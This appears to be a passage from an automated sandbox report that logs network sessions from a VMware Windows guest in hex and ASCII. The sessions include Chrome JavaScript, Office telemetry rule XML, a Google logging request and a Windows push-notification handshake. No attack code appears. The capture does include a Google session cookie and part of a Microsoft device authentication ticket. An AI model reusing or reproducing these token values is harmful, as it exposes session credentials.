0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject
2024-11-12 16:07:36 UTC	1378	IN	Data Raw: 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 Data Ascii: promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=func
2024-11-12 16:07:36 UTC	1378	IN	Data Raw: 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f Data Ascii: or("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));fo
2024-11-12 16:07:36 UTC	1378	IN	Data Raw: 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 Data Ascii: r h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return t
2024-11-12 16:07:36 UTC	1378	IN	Data Raw: 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 Data Ascii: e=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this
2024-11-12 16:07:36 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-11-12 16:07:36 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:36 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:36 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: bf72d7c2-301e-001f-2fa0-34aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160736Z-15869dbbcc6lxrkghC1DFWbkxg00000000hg000000005c4c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:36 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49796	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:36 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d55876ee-301e-0099-5603-2d6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160736Z-16547b76f7fm7xw6hC1DFW5px40000000fs000000000h6ch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 16:07:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49795	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:36 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:36 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 52d88e03-c01e-007a-7b0b-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160736Z-16547b76f7fxsvjdhC1DFWprrs0000000fq000000000peup x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:36 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:37 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 16:07:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 16:07:37 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 5c63e9b4-901e-0067-65a3-34b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T160737Z-15869dbbcc6x4rp4hC1DFW5xa8000000012g00000000pvs3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 16:07:37 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	49798	142.250.185.110	443	6820	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:37 UTC	706	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 912 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 16:07:37 UTC	912	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 31 34 32 37 36 35 35 34 30 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1731427655405",null,null,null,
2024-11-12 16:07:37 UTC	936	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=xk7TYhUJJ8CXv4AP4Z76C1szpwdxrzJ-WUrvfsUIC7uehSXus7jgXggnL7pCJfVCHsgFCsfiGiTi5nWSNoiW4uQx2QgPf-n0Rtq897HhxtnyINYhs0C9UF_nVI0vyF4W4C1XLxj1I7YPz_gKm0Dh70fcuo51o9doG-NJR0xVlC7T8Ip8vw; expires=Wed, 14-May-2025 16:07:37 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 12 Nov 2024 16:07:37 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 12 Nov 2024 16:07:37 GMT Connection: close Transfer-Encoding: chunked
2024-11-12 16:07:37 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-12 16:07:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49797	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:07:37 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 54 5a 77 4b 4c 38 30 6d 7a 45 47 6f 6c 42 77 79 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 35 30 64 32 39 35 30 61 64 37 32 36 36 62 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: TZwKL80mzEGolBwy.1Context: 1450d2950ad7266b
2024-11-12 16:07:37 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-12 16:07:37 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 54 5a 77 4b 4c 38 30 6d 7a 45 47 6f 6c 42 77 79 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 35 30 64 32 39 35 30 61 64 37 32 36 36 62 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 42 52 55 64 6a 71 68 38 46 6a 6c 6e 50 4f 32 62 68 52 58 31 6c 41 69 6b 2f 67 74 69 7a 46 34 57 75 2f 44 71 32 33 4a 35 61 71 6d 68 68 6b 56 2f 4e 67 44 6d 6b 46 4d 44 64 4f 57 46 4f 58 36 79 4a 33 2b 32 41 73 2f 30 48 7a 75 50 61 79 2b 34 55 4b 4d 4a 6e 4a 70 56 62 78 2f 69 70 63 77 50 79 61 32 32 61 79 36 2b 43 68 30 70 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: TZwKL80mzEGolBwy.2Context: 1450d2950ad7266b<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdBRUdjqh8FjlnPO2bhRX1lAik/gtizF4Wu/Dq23J5aqmhhkV/NgDmkFMDdOWFOX6yJ3+2As/0HzuPay+4UKMJnJpVbx/ipcwPya22ay6+Ch0p
2024-11-12 16:07:37 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 54 5a 77 4b 4c 38 30 6d 7a 45 47 6f 6c 42 77 79 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 34 35 30 64 32 39 35 30 61 64 37 32 36 36 62 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: TZwKL80mzEGolBwy.3Context: 1450d2950ad7266b<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
